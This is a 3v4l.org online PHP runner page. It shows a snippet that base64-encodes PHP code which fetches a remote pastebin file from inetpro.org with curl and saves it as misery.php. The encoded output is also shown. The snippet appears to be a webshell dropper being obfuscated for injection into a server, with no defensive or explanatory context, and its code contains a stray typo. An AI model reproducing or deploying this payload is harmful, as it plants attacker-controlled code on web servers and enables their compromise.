3v4l.org

run code in 300+ PHP versions simultaneously
<?php echo base64_encode("\$url='http://inetpro.org/pastebin/2c2206dca92c4d2cb96770f324c1963c/view/raw'; \$ch = curl_init(); \$fp = @fopen('./misery.php', 'w'); curl_setopt(\$ch, CURLOPT_FILE, \$fp); curl_setopt(\$ch, CURLOPT_URL, \$url);\$data = curl_exec(\$ch); curl_close(\$ch); @fclose(\$fp)l");
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.40, 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
JHVybD0naHR0cDovL2luZXRwcm8ub3JnL3Bhc3RlYmluLzJjMjIwNmRjYTkyYzRkMmNiOTY3NzBmMzI0YzE5NjNjL3ZpZXcvcmF3JzsgJGNoID0gY3VybF9pbml0KCk7ICRmcCA9IEBmb3BlbignLi9taXNlcnkucGhwJywgJ3cnKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZJTEUsICRmcCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOyRkYXRhID0gY3VybF9leGVjKCRjaCk7IGN1cmxfY2xvc2UoJGNoKTsgQGZjbG9zZSgkZnApbA==

preferences:
250.62 ms | 406 KiB | 460 Q